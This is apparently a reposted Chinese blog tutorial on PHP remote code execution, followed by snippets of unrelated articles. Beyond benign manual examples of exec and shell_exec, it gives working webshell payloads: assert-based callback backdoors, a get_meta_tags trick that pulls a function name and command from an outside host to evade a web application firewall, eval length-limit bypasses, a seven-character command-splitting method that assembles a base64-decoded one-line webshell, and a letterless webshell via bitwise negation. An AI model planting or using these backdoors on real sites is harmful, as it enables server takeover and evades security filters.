RCE漏洞基础初了解

news2024/9/21 4:40:23

目录

一、简介

二、php的命令执行函数

2.1 exec

2.2 passthru

2.3 shell_exec

2.4 popen

三、代码执行

3.1 php的回调后门

3.1.1 回调后门的老祖宗

3.1.2 数组造成单参数回调后门

3.1.3 绕过安全狗

​编辑 四、来看看php中webshell奇淫技巧

4.1eval长度限制突破方法

4.1.1 开胃菜

4.1.2 拼接

4.1.3 变长参数


一、简介

所谓rce简单来说就是可以执行系统命令的函数,举个例子

<?php
system('whoami');

二、php的命令执行函数

PHP: exec - Manual

2.1 exec

<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>

2.2 passthru

<?php
passthru("whoami");
?>

2.3 shell_exec

<?php
$output = shell_exec('whoami');
echo "<pre>$output</pre>";
?>

2.4 popen

pass:linux有0,1,2三个选项(标准输入,标准输出,错误输出)

<?php
error_reporting(E_ALL);

/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('whoami', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>

三、代码执行

3.1 php的回调后门

3.1.1 回调后门的老祖宗

php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:

call_user_func('assert', $_REQUEST['pass']);

assert直接作为回调函数,然后$_REQUEST['pass']作为assert的参数调用。

call_user_func_array('assert', array($_REQUEST['pass']));

3.1.2 数组造成单参数回调后门

<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));

调用

3.1.3 绕过安全狗

demo.php:

<?php
get_meta_tags("http://192.168.46.129/demo.html")["author"](get_meta_tags("http://192.168.46.129/demo.html")["keywords"]);

demo.html: 

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="author" content="system">
    <meta name="keywords" content="whoami">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    
</body>
</html>

自然绕过了安全狗的拦截

正常的回调后门会触发安全狗的机制

 四、来看看php中webshell奇淫技巧

4.1eval长度限制突破方法

4.1.1 开胃菜

<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}

长度限制为17为

那是不是直接执行就可以呢?我的phpinfo()也才十位,但是我们是不是只能执行phpinfo()了,怎么突破

代码执行转命令执行

param=echo `$_GET[1]`;&1=id

 

4.1.2 拼接

file_put_contents&param=$_GET[1](N,P,8);

拼接一个webshell文件(以Base64形式)在linux中 、

/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中	*/

4.1.3 变长参数

PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行

php可变长参数三个点

1[]=test&1[]=phpinfo();&2=assert

抓个包看看

4.2 突破七位长度

Linux命令长度限制在7个字符的情况下,如何拿到shell

<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}

因为我们的param是可以接参数的

 

我们在命令行请求后一点一点用文件打进去最后用shell执行即可

>hp
w>c.p\\
w>d\>\\

执行命令

ls -t>0
sh 0

 最后拼接为

ech\ o \	PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\	bas\ e64\	-\	d>\	c.p\ hp

 

执行shell就完美拼接为我们的一句话木马了

4.3 无字母数字webshell执行

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

首先我们看代码有限制长度到35,但是它严重的是限制了字母甚至$和_也限制了 

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

很明显它是允许的

我们可以写这样的一串代码去进行绕过

(~%8F%97%8F%96%91%99%90)();

而我们去研究研究这串代码首先~是取反的意思

4.3.1 那如果是5.6的版本呢

那我们的临时文件就起到作用了

举个例子吧

随便写个上传表单

开始转圈

很明显tmp多了一个临时文件如下

我们现在需要做的是写一个文件在临时文件没删除的时候,给它执行起来,如果能顺利执行,那我们创建一句话木马就很简单

那上传之后怎么跳转目录匹配到成了我们现在的一个问题,还有一个权限问题,这是我们目前需要解决的两个问题

权限问题,linux有个特性. 文件可以直接执行

匹配:因为php是get和post同时执行的,linux生成临时文件有一个特征最后一位一次是小写一次是大写,我们直接匹配大写就可以做到精准匹配

那这个时候ascli表就起作用了,加之通配符

Linux shell 通配符 / glob 模式 - divent - 博客园 (cnblogs.com)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2037522.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

problem with running OpenAI Cookbook‘s chatbot

题意&#xff1a;运行 OpenAI Cookbook 的聊天机器人时遇到问题 问题背景&#xff1a; Im having trouble running the chatbot app in the OpenAI Cookbook repository. 我在运行 OpenAI Cookbook 仓库中的聊天机器人应用程序时遇到了问题。 What I tried 我尝试的内…

240810-Gradio通过HTML组件打开本地文件+防止网页跳转到about:blank

A. 最终效果 B. 可通过鼠标点击打开文件&#xff0c;但会跳转到about:blank import gradio as gr import subprocessdef open_pptx():pptx_path /Users/liuguokai/Downloads/240528-工业大模型1.pptxtry:subprocess.Popen([open, pptx_path])return "PPTX file opened s…

七、3 AD单通道(代码)

1、步骤 &#xff08;1&#xff09;开启GPIO和ADC的时钟、配置ADCCLK的分频器 &#xff08;2&#xff09;配置GPIO &#xff08;3&#xff09;配置多路开关&#xff08;把左边的通道接入到右边的规则组中&#xff09; &#xff08;4&#xff09;配置ADC转换器 &#xff08;…

HarmonyOs编写一个案例实现一个照片选择(阶段进阶 四种需求 逐一完善)

需求1. .实现照片选择 并将选择好的照片展示出来 import { GoodItem } from ../06/modules;Entry Component struct PhotoPage {State message: string 实现一个相册;State List: GoodItem[] [{goods_name: dsfjlsjkfsf,goods_price: 100,goods_img: https://img1.baidu.com…

Springboot3 配置sql打印到控制台

一、pom.xml <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-log4j2</artifactId><version>3.1.2</version></dependency> 二、application.yml com.lingyang.system # log4j2配…

《密码编码学与网络安全原理与实践》第十一章、第十二章、第十三章 数据完整性算法

数据完整性算法 概念消息加密实现认证对称加密提供认证公钥加密提供认证 Hash函数要求满足特点哈希函数安全性要求密码分析基于分组密码链接的Hash函数生日攻击&#xff1a; MD5SHA-256算法步骤SHA-3散列函数实现消息认证散列函数实现消息认证方法一散列函数实现消息认证方法二…

HttpClient在ASP.NET Core中的最佳实践:实现高效的HTTP请求

引言 在现代Web开发中&#xff0c;HTTP请求的高效性和可靠性对于应用的整体性能至关重要。ASP.NET Core提供了HttpClient类&#xff0c;它是一个强大且灵活的工具&#xff0c;可以用来发送HTTP请求并处理响应。然而&#xff0c;如何在ASP.NET Core中实现高效的HTTP请求&#x…

Java基础篇/IO流的介绍和了解

一、java的IO是基于流&#xff08;stream&#xff09;概念的&#xff0c;什么是流: 在Java中&#xff0c;流&#xff08;Stream&#xff09;是一种抽象的数据传输方式&#xff0c;它代表了数据的序列。流可以用于表示来自各种源的数据输入&#xff0c;以及向各种目的地发送数据…

商品信息采集技巧大公开:五种高效采集方法分享

摘要&#xff1a; 面对日益激烈的电商竞争&#xff0c;高效采集淘宝商品信息成为商家致胜的关键。本文将揭秘2024年最实用的五种淘宝商品信息采集技巧&#xff0c;助您在大数据时代抢占先机&#xff0c;提升市场竞争力。 一、为何淘宝商品信息采集如此重要&#xff1f; 在电…

新闻稿件管理系统

TOC springboot109新闻稿件管理系统 系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理新…

社区团购独立源码最新版,包含小程序前端、管理后台、数据库

介绍&#xff1a; 社区拼团&#xff0c;社区电商等形式的新型社交电商平台源码。独创双模式&#xff1a;以团长为中心&#xff0c;以小区为中心&#xff0c;首款支持社区团购加社群团购模式的团购小程序&#xff0c;线上线下双模式&#xff0c;后台自由配置配送方式。 更新说…

五分钟学会辨别葡萄酒的优劣

不论是买什么商品&#xff0c;人们都十分关心品质。比如&#xff0c;要买葡萄酒&#xff0c;你首先要确认的就是这款酒好不好。那么&#xff0c;如何才能做到快速识别葡萄酒的好坏呢&#xff1f; 一、观察外观 首先&#xff0c;观察干红葡萄酒的外观是初步判断其品质的第一步。…

IP基础(通俗易懂版)

IP 位于 TCP/IP 参考模型的第三层&#xff0c;也就是⽹络层。 ⽹络层的主要作⽤是&#xff1a;实现主机与主机之间的通信&#xff0c;也叫点对点通信。 1 、网络层&#xff08; IP) 与数据链路层 (MAC) 有什么关系呢&#xff1f; MAC 的作用&#xff1a; 实现【直连】的两个…

【乐吾乐大屏可视化组态编辑器】条件修改属性

条件修改属性 在线使用&#xff1a;https://v.le5le.com/ 如图所示&#xff0c;右边文本图元数值一直在发生变化&#xff0c;当数值大于等于600、或者小于等于200的时候&#xff0c;左侧正方形图元背景颜色变成红色&#xff0c;产生告警效果&#xff1b;当数值在200到600之间…

海康相机二次开发学习笔记1-环境配置

因为最近可以用一段时间海康加密狗,Visionpro二次开发暂时停更一段时间,开始记录一下海康相机二次开发的学习笔记. 环境配置 1. 创建项目 打开Visual Studio,新建.NetFramework项目,选择WindowsForms,点击下一步,选择项目名称,点击下一步,点击确定打开项目属性,点击生成选项…

系统编程-认识Linux及常用指令

1 认识Linux及常用指令 主要学习函数 一、认识linux Linux 是由 UNIX 发展而来的&#xff0c;UNIX 是由程序员设计&#xff0c;它的主要服务对象也是程序员。Linux 继承了 UNIX 的设计目标。 1、linux系统的主要特性 多用户多任务开源 免费 大家都可以用庞大的社区群支持多…

Linux os下制作deb包

在 linux os下制作 .deb 包涉及以下几个主要步骤。假设已经有一个应用程序或软件项目&#xff0c;并且希望将它打包为一个 .deb 包。 1. 准备源代码和构建环境 首先&#xff0c;需要准备好应用程序的源代码&#xff0c;并确保它可以在开发环境中成功编译和运行。 2. 创建目录…

Istio学习整理

一、Service Mesh Service Mesh 的中文译为 “服务网格” &#xff0c;是一个用于处理服务和服务之间通信的基础设施层&#xff0c;它负责为构建复杂的云原生应用传递可靠的网络请求&#xff0c;并为服务通信实现了微服务所需的基本组件功能&#xff0c;例如服务发现、负载均衡…

【嵌入式】指针与整数的桥梁、跨平台编程的黄金钥匙:揭开 uintptr_t 和 intptr_t 的神秘面纱

目录 一、intptr_t 和 uintptr_t 详解二、适用场景三、示例四、写在最后 一、intptr_t 和 uintptr_t 详解 intptr_t 和 uintptr_t&#xff0c;这两个数据类型是ISO C99定义的。主要用于处理指针和整数之间的转换。它们在需要将指针转换为整数进行操作&#xff0c;或者将整数转…

spring boot入门案例

一、案例需求 请求Controller中的方法&#xff0c;并将返回值响应到页面 二、代码实现 1.依赖管理——pom.xml文件 &#xff08;1&#xff09;引入 &#xff08;2&#xff09;引入依赖集合 &#xff08;3&#xff09;引入插件&#xff1a;为了方便运行&#xff0c;将project…